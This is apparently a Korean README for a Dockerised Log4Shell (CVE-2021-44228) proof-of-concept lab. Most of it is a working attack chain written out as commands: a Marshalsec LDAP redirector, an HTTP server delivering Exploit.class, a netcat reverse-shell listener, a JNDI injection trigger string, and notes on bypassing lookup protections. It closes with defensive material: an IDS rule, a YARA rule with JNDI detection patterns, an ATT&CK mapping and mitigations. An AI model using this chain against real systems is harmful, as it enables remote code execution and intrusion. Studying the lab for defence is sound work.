
**Log4Shell PoC는 CVE-2021-44228 취약점을 재현하도록 설계된 고충실도 공격 환경입니다.** JNDI 인젝션, LDAP/RMI 레퍼럴 리다이렉션, Log4j 2 라이브러리를 통한 원격 코드 실행(RCE)을 시연할 수 있는 컨테이너화된 샌드박스를 제공합니다.
██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗
██║ ██╔═══██╗██╔════╝ ██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║ ██║██║ ███╗███████║███████╗███████║█████╗ ██║ ██║
██║ ██║ ██║██║ ██║╚════██║╚════██║██╔══██║██╔══╝ ██║ ██║
███████╗╚██████╔╝╚██████╔╝ ██║███████║██║ ██║███████╗███████╗███████╗
╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
██████╗ ██████╗ ██████╗
██╔══██╗██╔═══██╗██╔════╝
██████╔╝██║ ██║██║
██╔═══╝ ██║ ██║██║
██║ ╚██████╔╝╚██████╔╝
╚═╝ ╚═════╝ ╚═════╝
⚡ LOG4SHELL (CVE-2021-44228) PoC LAB
[ PROOF OF CONCEPT & JNDI EXPLOITATION ]
**Log4Shell PoC는 CVE-2021-44228 취약점을 재현하도록 설계된 고충실도(high-fidelity) 공격 환경입니다.** Log4j 2 라이브러리를 통한 JNDI 인젝션, LDAP/RMI 리퍼럴 리다이렉션, 원격 코드 실행(RCE)을 시연할 수 있는 컨테이너 기반 샌드박스를 제공합니다.
---
### ⚠️ 면책 조항
**교육 및 승인된 보안 테스트 목적으로만 사용하십시오.**
사전 상호 동의 없이 대상을 공격하기 위해 이 PoC(Proof of Concept)를 사용하는 것은 불법입니다. 모든 관련 지방, 주, 연방 법률을 준수하는 것은 최종 사용자의 책임입니다. 저자는 이 프로그램으로 인해 발생하는 데이터 손실, 시스템 손상, 법적 결과 또는 오용에 대해 어떠한 책임도 지지 않습니다. 이 소프트웨어를 사용함으로써 귀하는 관할권의 법적 경계 내에서 운영하는 것에 동의하는 것입니다.
---
---
### 섹션 2: 프로젝트 기능 및 구조
## 🚀 PoC 기능
* [x] **JNDI 인젝션:** 취약한 Log4j 2.14.1 진입점.
* [x] **LDAP 리퍼럴 서버:** Marshalsec를 통한 악성 LDAP 리다이렉션.
* [x] **원격 클래스 로딩:** 컴파일된 Java 바이트코드의 HTTP 전달.
* [x] **다단계 페이로드:** Java 네이티브 리버스 셸 실행.
* [x] **탐지 회피 테스트:** TrustURLCodebase 및 FormatMsgNoLookups 우회.
---
## 🛠 PoC 구조
### 🛰 악성 인프라 (공격자)
공격자 측은 PoC를 수행하기 위해 세 개의 개별 채널로 구성됩니다.
* **LDAP 리디렉터 (포트 1389):** Marshalsec 기반으로, 피해자의 JNDI 요청을 호스팅된 익스플로잇으로 유도합니다.
* **HTTP 페이로드 서버 (포트 8888):** 피해자가 다운로드하여 실행할 `Exploit.class` 바이트코드를 호스팅합니다.
* **NC 리스너 (포트 9001):** 리버스 셸의 최종 콜백 대상입니다.
### 💻 취약한 인스턴스 (피해자)
취약한 Log4j 구현이 실행되는 Dockerized OpenJDK 8 환경입니다.
* **Log4j v2.14.1:** 공격 대상 라이브러리 버전입니다.
* **VulnerableLog.java:** 사용자 입력을 검증(샌니타이즈) 없이 로깅하는 간단한 Java 애플리케이션입니다.
---
---
### 섹션 3: 설정 및 실행 지침
## ⚙️ 설정 및 실행
### 1. 공격자 설정 (Arch Linux)
**탭 1: LDAP 리퍼럴 서버**
```bash
docker run --rm -it -p 1389:1389 maven:3.8.6-openjdk-8 /bin/bash -c "
git clone [https://github.com/mbechler/marshalsec.git](https://github.com/mbechler/marshalsec.git) && \
cd marshalsec && \
mvn clean package -DskipTests && \
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer '[http://172.17.0.1:8888/#Exploit](http://172.17.0.1:8888/#Exploit)' 1389"
탭 2: HTTP 페이로드 전달
# Start Python server in the directory containing Exploit.class
python3 -m http.server --bind 0.0.0.0 8888
탭 3: Netcat 리스너
nc -lvnp 9001
탭 4: 취약한 컨테이너 실행
docker run --rm -it -v $(pwd):/app -w /app openjdk:8u121-jdk-alpine /bin/sh
컨테이너 내부: PoC 트리거
java -Dlog4j2.formatMsgNoLookups=false \
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
-cp ".:log4j-api-2.14.1.jar:log4j-core-2.14.1.jar" \
VulnerableLog '${jndi:ldap://172.17.0.1:1389/Exploit}'
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET EXPLOIT Possible Log4j RCE Attempt (jndi)"; content:"jndi|3a|"; nocase; sid:2034647; rev:1;)
rule Log4Shell_PoC_JNDI {
meta:
description = "Detects JNDI lookup strings in logs used in PoC"
author = "Apex Pro Framework"
strings:
$jndi = / \$\{jndi:(ldap|rmi|dns|nis|iiop|corba|lds):/ i
$obfuscated = /\$\{\$\{[^}]+\}ndi:/ i
condition:
any of them
}
| 단계 | 기법 | 알림 트리거 여부 | MITRE ATT&CK |
|---|---|---|---|
| 초기 접근 | 공개 애플리케이션 악용 | [ ] | T1190 |
| 실행 | 명령 및 스크립팅 인터프리터 | [ ] | T1059 |
| 명령 및 제어 | 애플리케이션 계층 프로토콜 (LDAP) | [ ] | T1071.003 |
| 데이터 유출 | 비애플리케이션 계층 프로토콜 | [ ] | T1048 |
-Dlog4j2.formatMsgNoLookups=true를 설정하세요.log4j-core JAR에서 JndiLookup.class를 수동으로 제거하세요.172.17.0.0/16)로 하드코딩하세요.